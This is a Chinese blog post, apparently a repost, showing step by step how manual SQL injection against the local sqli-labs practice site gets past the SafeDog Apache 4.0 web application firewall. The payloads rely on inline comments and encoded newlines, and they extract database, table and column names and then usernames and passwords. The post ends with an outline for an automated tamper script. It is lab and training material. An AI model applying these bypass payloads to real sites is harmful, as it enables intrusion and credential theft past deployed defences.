前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >SQL注入 安全狗apache4.0.26655绕过

SQL注入 安全狗apache4.0.26655绕过

作者头像
乌鸦安全
发布于 2021-08-05 07:50:16
发布于 2021-08-05 07:50:16
81600
代码可运行
举报
文章被收录于专栏:乌鸦安全乌鸦安全
运行总次数:0
代码可运行

本次靶场采用经典的sqli-labs搭建,waf使用的是安全狗的apache4.0.26655版本,文章从最开始的分析到最后的结果,中间难免会有错误的地方,希望大家多多包涵和理解。

上次我们发了一篇SQL注入-安全狗超大数据包绕过的文章,使用的是安全狗apache3.5.12048版本,这次是4.0系列的版本,全手动注入,后续会带来这方面的视频课程和相关tamper的编写。

因为文章中的靶场搭载了公网上,所以对以前的笔记进行了打码。

如果你对sql注入不是很熟悉,可以B站看下我的sqli-labs系列视频

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://space.bilibili.com/29903122

相关笔记:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://github.com/crow821/crowsec
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,password from security.users

1.闭合注入点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+

2. 判断列数

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by 1  --+

拦截

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order  1  --+

显示正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  by  1  --+

显示正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by  --+

异常

应该是order by不能连用,这里使用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/**/by  --+

不行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order/*!*/by  --+

不行

这里使用换行试试:

%23#也就是注释符, %0a换行符

举例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/* crow */

这是mysql的注释符,crow不会被执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*! crow */

这是mysql特有的内联注释,crow会被执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*!33333 crow*/

这是mysql的版本特性,当33333小于当前mysql版本号的时候,就会被执行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from /*! %23crow%0a*/users;

等同于下图

所以这里使用这样的方式进行判断:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order %23c%0a  by  4--+

已知3列

3. 判断当前数据库

法1 database()
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  union  1,2,3 --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'   select 1,2,3 --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http:/127.0.0.1/sqli-labs-master/Less-1/?id=1'  union select 1,2,3 --+

不正常

所以这里应该是union select不能一起连用

于是使用上述的万金油方式:

关键字符

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
%23a%%0a

关键字

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*!%23a%%0a*/
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,3 --+

绕过

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database() --+

错误

在这里将database()这个关键字分割,用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
database/*!%23a%%0a*/()

因为在sql语句中,以下三种方式均可运行

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,database/*!%23a%%0a*/() --+

这里得到数据库security

法2 schema_name
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

错误

这里对其中的关键字进行测试,看看拦截了什么

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  information_schema.schemata --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http:/127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from  --+

正常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2,  from information_schema.schemata --+

异常

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name from information_schema.schemata --+

异常

因此这里对from进行绕过

采用老方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name /*!%23a%%0a*/ frominformation_schema.schemata  --+

或者:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/information_schema.schemata  --+

使用limit取出数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, schema_name  /*!%23a%%0afrom*/   information_schema.schemata limit 1,1  --+

这样太慢,不如使用group_concat()

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(schema_name)  /*!%23a%%0afrom*/   information_schema.schemata   --+

4. 取出security对应的表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select table_name from information_schema.tables where table_schema='security'

如法炮制:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!from*/ information_schema.tables where table_schema='security' --+

额,这只用了一个内联注释而已,这也太。。。。

还有下面的几种方法:对from处理

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema='security' --+

security进行十六进制处理:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(table_name) /*!%23crow%0afrom*/ information_schema.tables where table_schema=0x7365637572697479--+

5. 取出users对应的字段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
查表:select table_name from information_schema.tables where table_schema='security'
查列:select column_name from information_schema.columns where table_name='users'
查字段的值:select username,password from security.users

一样

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

啊这,我连from都没处理,waf放弃抵抗了吗?

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+

还好,还好,原来还在

6. 取出username,password的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
查字段:select username,password from security.users
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  from security.users

起作用了

处理下from

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, username  /*!%23crow%0afrom*/ security.users --+

这样太慢,一次取出所有数据吧

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'  union /*!%23a%%0a*/ select 1,2, group_concat(concat_ws(0x7e, username, password)) from security.users --+

啊,这....

这防护。。。。

7. tamper编写

这里可以分析下,为了方便,可以将所有的空格,都替换为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*!%23crow%0a*/

,再对from关键字替换为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/*!%23crow%0afrom*/

,再对database()替换为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
database/*!%23crow%0a*/()

至于什么时候,到时候配合这个再出一期视频教程吧,可能需要久一点诶

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
【less-1】基于SQLI的SQL字符型报错注入
通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。
未名编程
2024/10/12
1180
【less-1】基于SQLI的SQL字符型报错注入
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/04/15
9690
【Bypass】安全狗apache V4.0.23137 SQL注入绕过
SQL注入-安全狗apache最新版绕过
现在的环境下对web选手越来越不友好,如果想在web场景中去挖洞,基本上都要面对waf,而常用的waf产品有很多,本次以开源免费最新版安全狗为例,绕过waf获取数据。
乌鸦安全
2021/08/05
1.9K0
SQL注入-安全狗apache最新版绕过
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
【学员分享】基于sql注入的sqli-lab靶场的手工注入
与之前的sqlmap注入相比较,发现手工注入需要更多的逻辑,心里要很清楚下一步代码该做什么,中 途会因为代码的一点错误导致页面报错。然后使用sqlmap这种工具的话,通过命令的方法就可以得到 想要的结果,速度也快。
Ms08067安全实验室
2020/05/26
9430
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
核心原理: MySql内置的infromation_schema库,它功能强大,是我们进行MySql注入的基石!
tea9
2022/07/16
1.8K0
1.1.1-SQL注入-SQL注入基础-SQL手工注入方法
SQL注入 安全狗apache3.5.12048版本绕过
没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:
乌鸦安全
2021/08/05
5620
SQL注入 安全狗apache3.5.12048版本绕过
sqli-labs通关笔记(1-30)
sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-la
逍遥子大表哥
2022/04/15
2.2K0
sqli-labs通关笔记(1-30)
WEB安全基础 - - -SQL注入利用
 报错为:Unknown column '5' in 'order clause' 
干掉芹菜
2022/11/19
5170
WEB安全基础 - - -SQL注入利用
SQL注入原理剖析
SQL注入原理剖析 SQL注入流程 SQL注入流程: 1、判断是否有注入(判断是否为严格校验) 2、什么类型的SQL注入 3、语句是否能够被恶意修改 4、是否能够成功被带入执行 5、获取我们想要的数据
渗透攻击红队
2019/11/19
9800
1.2.1-SQL注入-SQL注入语法类型-union联合查询注入
SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同。
tea9
2022/07/16
9330
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1280
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入:
Ms08067安全实验室
2022/12/22
4.2K0
零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶)
安全笔记
CONCAT()函数用于将多个字符串连接成一个字符串。 使用数据表Info作为示例,其中SELECT id,name FROM info LIMIT 1;的返回结果为
XRSec
2022/02/13
3560
SQL注入之联合查询注入
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
全栈程序员站长
2022/08/31
1.3K0
Sqli_labs65关通关详解(上)
Less-1 这个题目是基于错误,单引号,字符型注入, http://127.0.0.1/sqli/Less-1/?id=1' //报错 http://127.0.0.1/sqli/Less-
安恒网络空间安全讲武堂
2018/02/06
1.8K0
Sqli_labs65关通关详解(上)
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.2K0
sqli-labs练习(第五、六关)
这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。
宸寰客
2020/07/21
1K0
sqli-labs练习(第五、六关)
sql–宽字节注入
宽字节注入是利用msql的一个特性,mysql在使用GBK编码的时候,会认为俩个字符是一个汉字GBK编码,它的编码范围是0×8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。通常导致编码转换的注入问题,尤其是使用php连接mysql数据库的时候,一个gbk汉字占两个字节,取值范围是(编码位数):第一个字节是(129-254),第二个字节(64-254)当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。
字节脉搏实验室
2020/04/07
9270
sql–宽字节注入
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
1.8K0
相关推荐
【less-1】基于SQLI的SQL字符型报错注入
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验